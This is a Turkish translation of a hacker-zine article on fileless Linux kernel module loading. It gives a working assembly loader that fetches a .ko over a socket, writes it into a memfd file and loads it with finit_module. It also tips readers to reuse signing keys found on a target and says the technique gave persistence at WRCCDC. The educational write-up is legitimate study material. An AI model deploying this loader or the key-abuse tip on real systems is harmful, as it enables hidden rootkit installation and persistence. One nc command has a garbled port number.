Hafızada Kernel Modülü Yükleme
~ netspooky
[ Çeviri @batcain tarafından yapılmıştır ]
Geçen yıl Linux çekirdeği üzerinde yapılan değişiklikler sonucu kullandığımız "binary golf"
metodolojilerinin eskide kalmasıyla yabancı kaynaklardan gelen kernel modüllerini yüklemenin
eğlenceli olabileceğini düşündüm. Bu yaklaşımı için LKM (Linux Kernel Modülü) yükleyicisi
için iki yararlı sistem çağrısını tartışacağız.
───[ Test Modülü Oluşturma ]───────────────────────────────────────────────────
Test için basit bir çekirdek modülü oluşturarark başlayacağız.
Yapacağı tek şey kernel bufferında mesaj bastırmak olacak.
(dmesg komutuyla gözlemleyebileceğiz)
// bang.c
#include <linux/module.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
static int __init he(void) {
printk(KERN_INFO"we out here :}\n");
return 0;
}
static void __exit le(void) {
printk(KERN_INFO"we are no longer out here :{\n");
}
module_init(he);
module_exit(le);
Build işlemi için aşağıdaki gibi basit bir Makefile kullanıyoruz:
obj-m += bang.o
dir = $(shell uname -rm | sed -e 's/\s/\-/')
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
strip: all
strip bang.ko
mkdir -p $(dir)
cp -v bang.ko $(dir)/he.ko
load: all
sudo insmod bang.ko
unload:
sudo rmmod bang
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Modülü oluşturmak için `make` komutunu çalıştırmanız yeterli.
42000 portunda çalıştırabilmek için `cat bang.ko | nc -l -lvp 420000` komutunu kullanabilirsiniz.
───[ Yükleyici ]───────────────────────────────────────────────────────────────
Kullanacağımız modül yükleyici epey düz ve sade olacak, ancak ben yine de bu tekniği daha
sonra geliştirmek üzere öğrenenler için detaylıca anlatıyor olacağım.
Modülü direkt hafızaya indireceğiz. Bunun için önceklikle sunucumuzda(127.0.0.1:42000)
kernel moülünü barındıracak bir soket açıyoruz. Sonrasında hedefte modülü
indirebilmek için bir memfd dosyası yaratacağız.
memfd_create sistem çağrısı hafızada dosya sistemiyle ilişkisi olmayan geçici dosyalar
oluşturmak için kullanılmaktadır. Bu nedenle programın çalışma süresince kullanılacak
dosyaları oluşturmak için tercih edilen bir çağrıdır, ayrıca geçici olarak dosya
yolu ve dosya tanımlayıcısı (file descriptor) sağlamaktadır.
/proc/self/fd/4 üzerinden memfd dosyasının çalıştırıldığı örnek kod parçasına şu linkten ulaşabilirsiniz:
https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100
memfd dosyamızı oluşturduktan sonra, uzak sunucunun soketinden değer okuyup dosya tanımlayıcımızı kullanarak oluşturduğumuz memfd dosyasına yazıyoruz.
memfd dosyasına yazma işleminin bitmesinin ardından finit_module sistem çağrısını kullanıp dosya tanımlayıcısı aracılığıyla kernel modülümüzü yüklüyoruz.
───[ kl.asm ]───────────────────────────────────────────────────────────────────
;-- 127.0.0.1:42000 Adresinden çekirdek modülünü hafızaya indir ve yükle -------//--
; __ __ . __ __ __ __ . . . setup:
; | ||__||_ |__ |__|| || ||_/| | $ cat somekernelmodule.ko | nc -lvp 42000
; | || | || |o ||o ||\ |__| build:
; | ||__ |__ __|| |__||__|| \ __| $ nasm -f elf64 kl.asm ; ld kl.o -o kl
;-------------------------------------------------------------------------------
section .text
global _start
_start:
; socket çağrısı -----------------------------------------------------------------------
; Soket bağlantısını ayarlama
; int socket(int domain, int type, int protocol);
; rdi = int domain
; rsi = int type
; rdx = int protocol
;-------------------------------------------------------------------------------
push byte 0x29 ; Soket sistem çağrısını yığına ekle
pop rax ; RAX = Soket sistem çağrısı
push byte 0x2 ; Domaini ekle: AF_INET
pop rdi ; RDI = AF_INET
push byte 0x1 ; Soket tipini ekle: SOCK_STREAM
pop rsi ; RSI = SOCK_STREAM
cdq ; RDX = 0
syscall ; Soket sistem çağrısını çalıştır
; connect çağrısı ----------------------------------------------------------------------
; Dosya bufferını kaydetmek için sokete bağlandığımız kısım
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; rdi = int sockfd
; rsi = const struct sockaddr *addr
; rdx = socklen_t addrlen
;-------------------------------------------------------------------------------
xchg rdi, rax ; int sockfd
mov rbx, rdi ; Sonrası için sockfd değerini rbx'e kaydet
mov dword [rsp-4], 0x100007F ; IP adresi = 127.0.0.1
mov word [rsp-6], 0x10A4 ; Port = 42000
mov byte [rsp-8], 0x02 ; sockfd
sub rsp, 8 ; Line up
push byte 0x2a ; Sokete bağlanma sistem çağrısını yığına ekle
pop rax ; RAX = "connect" sistem çağrısı
mov rsi, rsp ; const struct sockaddr *addr
push byte 0x10 ; boyut
pop rdx ; boyut -> rdx
syscall ; "connect" sistem çağrısını çalıştır
; memfd_create çağrısı ---------------------------------------------------------------
; Soket bufferını kaydetmek için sanal bir dosya oluşturduğumuz kısım
; int memfd_create(const char *name, unsigned int flags);
; rdi = const char *pathname
; rsi = int flags
;-------------------------------------------------------------------------------
mov ax, 0x13f ; Sistem çağrısı
push 0x474e4142 ; Sanal dosya adı: BANG (Little Endian dolayısıyla GNAB )
mov rdi, rsp ; Arg0: Dosya adı
xor rsi, rsi ; int flags
syscall ; "memfd_create" çağrısını çalıştır
; read çağrısı -------------------------------------------------------------------------
; Soket bufferını yerel bir dosyaya kaydedebilmek için başka bir buffer ile okuduğumuz kısım
; ssize_t read(socket sockfd,buf,len)
; rdi = int fd
; rsi = void *buf
; rdx = size_t count
;-------------------------------------------------------------------------------
mov r9, rax ; Yerel dosya tanımlayıcısını kaydet
mov rdx, 0x400 ; size_t count = 1024 byte
rwloop:
mov rdi, rbx ; "sockFD" değerini RDI kaydedicisine taşı
xor rax, rax ; 0 "read" sistem çağrısını temsil ediyor
lea rsi, [rsp-1024] ; (output - arg1 *buf) sonuncunu bufferda sakla
syscall ; "read" sistem çağrısını çalıştır
; write çağrısı ------------------------------------------------------------------------
; Soket bufferını yerel dosyaya yazdığımız kısım
; ssize_t sys_write(fd,*buf,count)
; rdi = int fd
; rsi = const *buf
; rdx = size_t count
;-------------------------------------------------------------------------------
mov rdi, r9 ; Yazılacak yerel dosyanın tanımlayıcısını kaydet
mov rdx, rax ; RDX = # okunan byteları temsil ediyor, 0 dosya sonu demek
xor rax, rax ; RAX = 0
mov al, 1 ; "1" Sistem çağrısının numarasını kaydet
syscall ; "write" çağrısını çalıştır
cmp dx, 0x400 ; Okunacak byte olup olmadığını kontrol et
je rwloop ; Okunacak byte varsa döngüye devam et
; finit_module -----------------------------------------------------------------
; Dosya tanımlayısı ile çekirdek modülünü yüklediğimiz kısım
; int finit_module(int fd, const char *param_values, int flags);
; rdi = int fd - The file descriptor
; rsi = const char *param_values
; rdx = int flags
;-------------------------------------------------------------------------------
xor rax, rax ; RAX = 0
push rax ; param_values
mov rsi, rsp ; RSI = *param_values
mov rax, 0x139 ; "finit_module" çağrısını kaydet
mov rdi, r9 ; int fd
xor rdx, rdx ; int flags
syscall ; "finit_module" çağrısını çalıştır
;--- Çıkış ----------------------------------------------------------------------
; void exit(int status);
; rdi = int status
;-------------------------------------------------------------------------------
mov rax, 0x3c ; "exit" sistem çağrısını kaydet
mov rdi, 0x45 ; Bütünlüğü kontrol edebilmek için 69 değerini döndür
syscall ; Çıkışş
───[ finit_module flags ]───────────────────────────────────────────────────────
Linuxta kernel modülü yüklemek için finit_module sistem çağrısını kullanmak ilginç bir yöntem.
Normalde, init_module sistem çağrısı hafızadaki bir pointer'dan modül yükleyebiliyor.
Ancak finit_module sistem çağrısı dosya tanımlayıcısıyla modül yüklemek için kullanılabilmekle
beraber, bir modül imajı yüklenirken sistem tarafından yapılan kontrolleri atlatmak için
eşsiz yöntemler sağlıyor. NOT: finit_module çağrısının flag değerleri ancak hedef
çekirdek build edilirken modülü her koşulda yükleme (force load) özelliği açıksa kullanılabilir olmaktadır.
(detaylar için bir sonraki bölüme bakın)
Geçersiz kılınması gereken flag değerleri include/uapi/linux/module.h dosyasında tanımlanmış
olup "OR" işlemine tabi tutulduktan sonra RDX'te bulunan sistem çağrısı tarafından kullanılmaktadır.
/* sys_finit_module için flag değerleri: */
#define MODULE_INIT_IGNORE_MODVERSIONS 1
#define MODULE_INIT_IGNORE_VERMAGIC 2
MODULE_INIT_IGNORE_MODVERSIONS flag değeri sembollerin versiyon hashlerini,
MODULE_INIT_IGNORE_VERMAGIC değeri ise kernel versiyonunu belirten byte değerlerini
gözardı etmek için kullanılmaktadır. Söz konusu flag değerleri modülün kernele yüklenmesi
için kullanılmak zorundadır, yoksa modülün yükleme işlemi başarısız olacaktır. Bu durum kernelde
tanımlanmayan davranış olarak değerlendirilmeye ve kernelin sıkıntı çıkartmasına sebep olabilir,
dolayısıyla bahsettiğimiz flag değerlerini kullanırken dikkatli olun!
finit_module ile modül yükleme aşağıda belirttiğim gibi tanımlanmaktadır:
..kernel modülünün güvenilirliği modülün dosya sistemindeki yerinden yola çıkılarak belirlenemiyorsa;
mümkün olduğu takdirde, modülün özgünlüğünü doğrulamak için kriptografik olarak imzalanmış modülleri
kullanma zorunluluğu gözardı edilebilir.
- man 2 finit_module
───[ Determining Compatibility ]────────────────────────────────────────────────
Kernel modülü yükleme işlemindeki zorlu kısım, kimi modüllerin çalıştırılması ya da
çalıştırılmamasına neden olan farklı konfigürasyonların bulunmasından ya da modülü
çekirdeğe yüklemede kullanılan yollardan kaynaklanmaktadır. Aşağıda modülünüzü
yüklemeden önce bilmeniz gereken birkaç tane kernel konfigürasyonuna yer verdim.
::: CONFIG_MODVERSIONS :::
Bu flag değeri aktive edildiğinde (CONFIG_MODVERSIONS=y) farklı çekirdekler
için derlenmiş kernel modüllerini yükleyebilirsiniz.
Kontrol etmek için:
$ grep CONFIG_MODVERSIONS /boot/config-KERNELVERSIYONUNUZ
CONFIG_MODVERSIONS=y
Daha fazla bilgi için: https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html
::: CONFIG_MODULE_SIG_FORCE :::
Bu flag değeri aktive edilmişse imzalanmamış modülleri yükleyemezsiniz.
Kontrol etmek için:
$ grep CONFIG_MODULE_SIG_FORCE /boot/config-KERNELVERSIYONUNUZ
# CONFIG_MODULE_SIG_FORCE açık değil
Daha fazla bilgi için: https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html
PROTIP: Hedeflediğiniz sistem için sisteminizde normalde bulunan güvenilir anahtarları araştırıp kullanabilirsiniz.
Örneğin;
/var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der
/usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509
::: CONFIG_MODULE_FORCE_LOAD :::
Bu konfigürasyonun aktif olması durumunda versiyon bilgisine gerek duymadan modülünüzü
yükleyebilirsiniz. Eğer finit_module çağrısı için flag değerlerini kullanacaksanız bu
konfigürasyon mutlaka aktif olmalıdır. Şayet açık değilse ancak yine de finit_module
flag değerlerini kullanarak versiyon bilgisini görmezden gelmeye çalışırsanız, ENOEXEC
hatası verecektir.
Kontrol etmek için:
$ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
# CONFIG_MODULE_FORCE_LOAD açık değil
Daha fazla bilgi için: https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html
───[ .fini ]────────────────────────────────────────────────────────────────────
Bu tekniği ufak kernel modüllerini denerken ve yükleyicileri test ederken kullanıyorduk.
Benzer şekilde, WRCCDC esnasında tek satırlık bir komutla aynı konfigürasyona sahip
birden fazla makinede kalıcılık sağlamak için kullanılmıştı.
Bahsettiğimiz bu teknik bir kernel modülü yüklemek için kullanılan birçok yöntemden yalnızca biri.
Hala keşfedecek çok şey var, ve umuyorum ki bu yazı size bir şeylerle uğraşmak için ilham vermiştir!
Buradan tmp.0ut, thugcrowd, vxug ve tcpd topluluklarındaki herkese selam yolluyorum.
Bu arada tmp.0ut'un yeni sayılarında çıkacak "ELF Binary Mangling" makalesine bakmayı unutmayın!